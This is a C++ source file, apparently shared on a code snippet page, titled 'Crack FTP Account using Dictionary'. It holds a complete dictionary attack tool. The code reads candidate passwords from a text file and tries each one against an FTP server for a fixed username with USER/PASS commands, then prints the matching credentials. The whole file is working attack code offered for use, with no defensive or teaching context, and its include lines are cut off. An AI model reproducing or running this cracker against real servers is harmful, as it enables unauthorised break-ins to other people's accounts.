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| //Crack FTP Account using Dictionary (C++) | |
| #include | |
| #include | |
| int wsend(SOCKET sock,char*msg,...) | |
| { | |
| char szBuffer[256]; | |
| va_list va; | |
| va_start (va, msg); | |
| vsprintf (szBuffer, msg, va); | |
| va_end (va); | |
| return ( send(sock,szBuffer,strlen(szBuffer),0 ) ); | |
| } | |
| BOOL CheckValidation(struct sockaddr_in sock_in,char*szUser,char*szPass) | |
| { | |
| BOOL bResult=0; | |
| char szBuffer[256]; | |
| SOCKET sock = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP); | |
| if(sock!=INVALID_SOCKET) | |
| if( connect(sock,(struct sockaddr*)&sock_in,sizeof(sock_in))==0) | |
| if(recv(sock,szBuffer,256,0)!=SOCKET_ERROR) | |
| if(strstr(szBuffer,"220")) | |
| { | |
| if(wsend(sock,"USER %s\r\n",szUser)!=SOCKET_ERROR) | |
| if(recv(sock,szBuffer,256,0)!=SOCKET_ERROR) | |
| if(strstr(szBuffer,"331")) | |
| { | |
| if(wsend(sock,"PASS %s\r\n",szPass)!=SOCKET_ERROR) | |
| if(recv(sock,szBuffer,256,0)!=SOCKET_ERROR) | |
| if(strstr(szBuffer,"230")) | |
| bResult = 1; | |
| }else printf("No such user ( %s )\r\n",szUser); | |
| }else printf("ftp server not ready \r\n"); | |
| Sleep(100); | |
| closesocket(sock); | |
| return bResult; | |
| } | |
| int main() | |
| { | |
| char*szBuffer; | |
| WSADATA wdata; | |
| struct sockaddr_in s_in; | |
| s_in.sin_family=AF_INET; | |
| s_in.sin_port =htons(21); | |
| char szFile[25]="test.txt", | |
| szUser[25]="UserName", | |
| *pntr; | |
| BOOL bResult=0; | |
| HANDLE hFile = CreateFile(szFile,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); | |
| if(hFile!=INVALID_HANDLE_VALUE) | |
| { | |
| DWORD dwSize = GetFileSize(hFile,0), | |
| dwReadBytes=0; | |
| if(dwSize!=0) | |
| { | |
| szBuffer=(char*)malloc(dwSize+20); | |
| if(szBuffer!=0) | |
| { | |
| if( ReadFile(hFile,szBuffer,dwSize,&dwReadBytes,0) ) | |
| { | |
| if(dwReadBytes==dwSize) | |
| { | |
| if ( !WSAStartup(0x202,&wdata) ) | |
| { | |
| LPHOSTENT honte = gethostbyname("ftp.server.net"); | |
| if( honte ) | |
| { | |
| s_in.sin_addr=*((LPIN_ADDR)*honte->h_addr_list); | |
| pntr=strtok(szBuffer,"\r\n");//ignore first line | |
| while(0 !=pntr) | |
| if( 0!=(pntr=strtok(NULL,"\r\n"))) | |
| if(CheckValidation(s_in,szUser,pntr)) | |
| { | |
| printf("User cridentials matched .'%s' '%s' \r\n",szUser,pntr); | |
| break; | |
| } | |
| else printf("No match with user '%s' with password '%s'\r\n",szUser,pntr); | |
| }else printf("Unable to resolve given address\r\n"); | |
| }WSACleanup(); | |
| }else printf("Failed to read complete file\r\n"); | |
| }else printf("Unable to read file\r\n"); | |
| free(szBuffer); | |
| }else printf("Unable to allocate necessary memory\r\n"); | |
| }else printf("Unable to get file size\r\n"); | |
| }else printf("Error Opening File\r\n"); | |
| CloseHandle(hFile); | |
| printf("Finished try.Press any key to exit\r\n"); | |
| getch(); | |
| return 0; | |
| } |
